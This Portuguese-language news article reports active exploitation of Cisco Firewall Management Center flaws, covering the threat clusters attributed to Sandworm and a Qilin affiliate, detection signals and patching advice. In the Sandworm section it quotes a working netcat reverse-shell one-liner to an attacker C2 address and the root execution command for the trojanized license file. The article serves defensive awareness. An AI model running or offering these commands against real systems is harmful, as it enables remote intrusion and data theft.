Três gangues invadiram o console dos firewalls Cisco — uma é o grupo russo do botnet Cyclops Blink

Resumo: o Cisco Talos (equipe de inteligência de ameaças da Cisco) confirmou exploração ativa de duas vulnerabilidades no Cisco Secure Firewall Management Center (FMC), o console central de gerência dos firewalls Cisco. A mais grave, CVE-2026-20079, tem nota máxima 10.0 na escala CVSS e permite bypass de autenticação com execução de scripts como root. Três clusters pós-comprometimento foram observados — entre eles o grupo russo Sandworm, que implantou o malware Cyclops Blink, e um afiliado do ransomware Qilin. A exploração ativa é fato confirmado; as atribuições a grupos específicos são avaliações de alta confiança, não certeza absoluta.

Introdução

Em 09/09/2026 o Cisco Talos (equipe de inteligência de ameaças da Cisco, que monitora ataques e desenvolve assinaturas de detecção) publicou um alerta de exploração ativa envolvendo duas falhas no Cisco Secure Firewall Management Center (plataforma central de gerência dos firewalls da Cisco), o FMC. Na mesma semana, a agência CISA (agência de segurança cibernética dos EUA, mantenedora do catálogo KEV de vulnerabilidades exploradas ativamente) adicionou as duas vulnerabilidades ao seu catálogo Known Exploited Vulnerabilities, o KEV, exigindo que órgãos federais americanos remediem a mais crítica até 12/09.

O caso é um dos mais sérios do ano em infraestrutura empresarial. Não é um firewall comum que está em risco: é o painel que administra frotas inteiras de firewalls. E os números reforçam a gravidade — o CVE-2026-20079 recebeu nota perfeita de 10.0 na escala CVSS (Common Vulnerability Scoring System: padrão de severidade de vulnerabilidades, de 0 a 10), explorável por um atacante remoto sem credenciais.

O FMC: por que o console vale mais que o firewall

O FMC é o cérebro da operação de segurança de borda de uma empresa. Ele centraliza a configuração, o monitoramento e a distribuição de políticas para os firewalls Cisco Secure Firewall — o appliance de rede que filtra o tráfego entre a internet e a rede interna. Em vez de configurar equipamento por equipamento, o administrador aplica regras, atualiza assinaturas e audita eventos em todos os firewalls a partir de uma única interface.

É essa centralização que explica o apetite dos atacantes. Comprometer um firewall individual dá acesso a um ponto da rede; comprometer o FMC dá acesso à configuração de toda a borda — regras de acesso, VPNs, segmentação, credenciais de administração e o mapa completo da arquitetura de rede da vítima. Para um grupo de espionagem ou um afiliado de ransomware, o FMC é uma mina de ouro: é o console que os defensores usam, e é exatamente onde um invasor quer sentar.

As duas falhas: um bypass perfeito e uma porta dos fundos com senha fixa

A exploração ativa documentada pela Talos se apoia em duas vulnerabilidades distintas, que podem ser usadas sozinhas ou encadeadas.

A primeira, o CVE-2026-20079, é o bypass de autenticação com nota 10.0. A origem do bug é um processo órfão (processo deixado sem dono pelo sistema) criado durante o boot do FMC: o equipamento inicia uma sessão de sistema que nenhum usuário legítimo reivindica. Se um atacante remoto alcança a interface antes de um administrador assumir essa sessão, ele a sequestra e a usa para executar scripts com privilégios de root (usuário com poderes máximos do sistema operacional) no sistema subjacente — sem nome de usuário, sem senha, sem autenticação. Abaixo, o fluxo da exploração:

A Cisco (fabricante de equipamentos de rede) corrigiu o CVE-2026-20079 em março de 2026 — mas só em 09/09/2026 confirmou, por meio do time de resposta a incidentes (PSIRT), que a falha vinha sendo explorada na natureza desde agosto.

A segunda, o CVE-2026-20316, tem nota modesta de 5.3 na escala CVSS, mas carrega um problema clássico: credenciais estáticas e hardcoded (usuário e senha fixos embutidos no software) de uma conta de baixo privilégio, que permitem a um atacante remoto logar no FMC sem autorização. Sozinha, ela dá acesso limitado; encadeada com o bypass ou com outras falhas, vira um trampolim de escalonamento de privilégios. A Cisco divulgou e corrigiu o problema no fim de julho de 2026, e a CISA também o incluiu no KEV.

Três gangues, três objetivos

A Talos mapeou três clusters de atividade pós-comprometimento, cada um com objetivos e ferramentas próprios — um ator não atribuído, um grupo de espionagem russo e um operador de ransomware. Uma ressalva importante de honestidade técnica: a exploração ativa é fato confirmado pela Talos e pela CISA; já a atribuição de cada cluster a um grupo específico é uma avaliação de alta confiança dos pesquisadores, não uma certeza absoluta.

Sandworm: do license file trojanizado ao Cyclops Blink

O cluster UAT-11823 é o mais sofisticado — e o mais alinhado com um ator estatal. A Talos avalia com alta confiança que ele se sobrepõe em ferramentas ao Sandworm, grupo de APT (advanced persistent threat: ameaça avançada e persistente, geralmente ligada a um Estado) russo, atribuído aos serviços de inteligência militar da Rússia (GRU) pelos Estados Unidos e pelo Reino Unido — o mesmo grupo por trás de ataques devastadores a redes de energia na Ucrânia.

O encadeamento é cirúrgico. O grupo obteve acesso inicial explorando o CVE-2026-20079 ou as credenciais estáticas do CVE-2026-20316. Em seguida, substituiu o arquivo legítimo de licença do FMC (o license.tmp) por um pacote malicioso criado com Makeself (utilitário que empacota scripts e binários em um arquivo auto-extraível) — e esse pacote foi executado como root pelo próprio processo de instalação do equipamento, o package_info.pl:

/usr/local/sf/bin/package_info.pl /var/tmp/license.tmp --lsm

O payload estabeleceu um reverse shell via Netcat (ferramenta clássica de conexão e escuta em portas TCP/UDP) para um servidor de comando e controle (C2):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 208.123.119.215 3090 >/tmp/f

De posse do shell, o grupo exfiltrou as configurações de todos os dispositivos gerenciados pelo FMC e, por fim, baixou o payload final: uma variante do Cyclops Blink, malware modular já atribuído ao Sandworm em operações de botnet contra dispositivos de borda de rede. A variante encontrada nos FMCs comprometidos é um implant ELF (formato executável padrão do Linux) com capacidades que transformam o console em um soldado permanente do botnet:

As capacidades dessa variante incluem: scripts de persistência em /etc/init.d (diretório do Linux que executa serviços na inicialização do sistema), resolução de comando e controle via DNS-over-HTTPS (DoH: consultas DNS criptografadas dentro de tráfego HTTPS, difíceis de inspecionar), upload e download de arquivos, roubo de credenciais, execução arbitrária de comandos, varredura de rede e sniffing de pacotes (captura e leitura de tráfego que passa pela interface). Em resumo: persistência silenciosa, C2 resistente a bloqueio e olhos dentro do perímetro.

Qilin: do console ao ransomware

O cluster UAT-11988 tem perfil totalmente diferente: a Talos avalia com alta confiança que é um operador de ransomware, com TTPs (tactics, techniques and procedures: as táticas, técnicas e procedimentos característicos de um grupo) consistentes com afiliados do Qilin, família de ransomware conhecida por ataques a grandes organizações. Este cluster nem usou o bypass: entrou pela porta dos fundos das credenciais estáticas (CVE-2026-20316) e abusou das ferramentas administrativas legítimas do próprio FMC em um ataque living off the land (viver da terra: usar apenas ferramentas nativas do sistema para não levantar suspeitas).

A primeira fase foi reconhecimento em larga escala. Abusando do mesmo package_info.pl para executar um license.tmp malicioso com privilégios root, o operador coletou nomes de hosts, IPs, listagens de diretórios, credenciais de contas de serviço do Active Directory (serviço de diretório da Microsoft que gerencia usuários e permissões em redes Windows) e credenciais de MySQL (banco de dados relacional), além de mapear controladores de domínio, servidores de arquivos, Exchange e bancos de dados. Tudo foi empacotado em arquivos já acessíveis no FMC e exfiltrado com requisições HTTP GET.

Depois veio o túnel. O grupo montou um proxy SOCKS5 (protocolo de proxy que roteia tráfego arbitrário, permitindo alcançar serviços internos como se estivesse dentro da rede) em Python e uma conexão SSH reversa (túnel que parte de dentro da rede da vítima para fora, driblando firewalls de entrada) para manter acesso persistente — encaminhando portas internas de volta para a infraestrutura do atacante: LDAP (389), LDAPS (636), Kerberos (88), SMB (445), NetBIOS (135) e WinRM (5985). Com esse funil, o operador passou a sondar endpoints, implantou ferramentas open source como o Impacket (suíte de ferramentas Python para interação com protocolos e serviços Windows) e o Invoke-TheHash, e por fim executou AV killers (programas que desativam ou corrompem antivírus para o ransomware agir sem alarme) e o próprio ransomware Qilin nos endpoints selecionados.

Detecção: IOCs e onde procurar

A Talos publicou indicadores de comprometimento (IOCs) para os três clusters. Valores como hashes SHA-256 de arquivos e endereços IP estão abaixo — lembre-se de que, em texto, os pontos dos IPs aparecem mascarados:

O primeiro sinal de alerta é comportamental. Webshells como o home.jsp vivem no webroot do Tomcat do FMC — um diretório que não deveria ganhar arquivos novos sem aprovação. Um license.tmp modificado em /var/tmp, scripts recém-criados em /etc/init.d, listeners de rede que aparecem do nada (Netcat, SSH reverso, proxies SOCKS5) e conexões de saída para IPs desconhecidos são todos bandeiras vermelhas.

Varredura ativa com nmap. O nmap (ferramenta de varredura e mapeamento de redes) ajuda a descobrir interfaces de gerência do FMC expostas na internet e listeners inesperados — o primeiro passo para saber se a superfície de ataque está aberta:

nmap -p 443 --open 10.0.0.0/8

Monitoramento contínuo com Wazuh. O Wazuh (plataforma open source de SIEM e detecção de intrusão) pode vigiar a integridade de arquivos críticos (webroot do Tomcat, license.tmp, /etc/init.d), detectar novos processos escutando em portas e correlacionar conexões de saída com a lista de IOCs acima — inclusive consultas DNS-over-HTTPS, que fogem do filtro DNS convencional.

Detecção na borda com Snort. Quem roda Snort (sistema open source de detecção de intrusão por assinaturas) já tem regras publicadas pela Talos: os SIDs 66075 a 66080 cobrem o CVE-2026-20079, o SID 66883 cobre o CVE-2026-20316 e os SIDs 66960 e 66961 detectam o malware Cyclops Blink.

Como se proteger

Aplicar os hotfixes imediatamente. A Cisco já liberou correções para as duas falhas — o CVE-2026-20079 desde março e o CVE-2026-20316 desde o fim de julho. A Talos é explícita: não espere pela release de hardening mais ampla prevista para a semana de 14/09, que empacota os mesmos fixes com outras correções internas. Com exploração ativa confirmada, cada dia sem patch é uma janela aberta.

Tirar a gerência da internet. A medida mais eficaz para os três clusters é a mais simples: nenhuma interface de gestão do FMC deveria estar acessível a partir da internet. Interfaces de gerência devem viver em segmentos segregados, alcançáveis apenas por redes administrativas out-of-band (fora de banda: caminhos de acesso separados da rede principal), com regras de firewall permitindo apenas IPs administrativos.

Rotacionar credenciais e revisar contas. As credenciais estáticas do CVE-2026-20316 e o roubo de credenciais de AD e MySQL observado nos ataques significam que credenciais expostas podem estar circulando. Rotacione senhas do FMC e de contas de serviço, revise contas administrativas e reforce a autenticação multifator em toda a infraestrutura de gerência.

Caçar comprometimento antes do patch. Se houver qualquer suspeita, siga a tabela de IOCs: procure webshells no webroot do Tomcat, cmd.jar, license.tmp modificados, scripts em /etc/init.d e listeners de rede novos. Um FMC já comprometido continua sendo controlado pelo atacante mesmo depois do patch — a correção fecha a porta, mas não expulsa quem já está dentro.

Monitorar com SIEM e IDS. Integre as assinaturas do Snort à borda e os IOCs ao Wazuh (plataforma open source de SIEM e detecção de intrusão). Alertas para conexões de saída aos IPs listados, novos arquivos em diretórios críticos e tráfego DoH para domínios desconhecidos transformam a detecção precoce em resposta antes que o cluster evolua para exfiltração ou ransomware.

Conclusão

O caso do FMC é a combinação mais perigosa possível em segurança empresarial: um console central de gerência, uma falha de bypass de autenticação com nota máxima e três atores distintos explorando a mesma porta ao mesmo tempo. Um grupo não atribuído busca credenciais com webshells; o Sandworm, ligado à GRU russa, planta o Cyclops Blink para transformar a borda da vítima em infraestrutura de botnet; e um afiliado do Qilin usa o console como porta de entrada para ransomware em toda a rede. A exploração ativa é confirmada — as atribuições são alta confiança, não certeza. Para quem roda FMC, a mensagem é direta: aplique os hotfixes agora, tire a gerência da internet e procure os IOCs. O patch já existe; o tempo de reação, não.

Perguntas frequentes

Fontes e leituras adicionais

• Cyber Security News — Hackers Exploit Critical Cisco Firewall Flaw to Gain Root Access and Deploy Malware — 10/09/2026
• Cisco Talos — Active exploitation of Cisco Secure Firewall Management Center vulnerabilities — 09/09/2026
• CISA — Known Exploited Vulnerabilities Catalog — 09/2026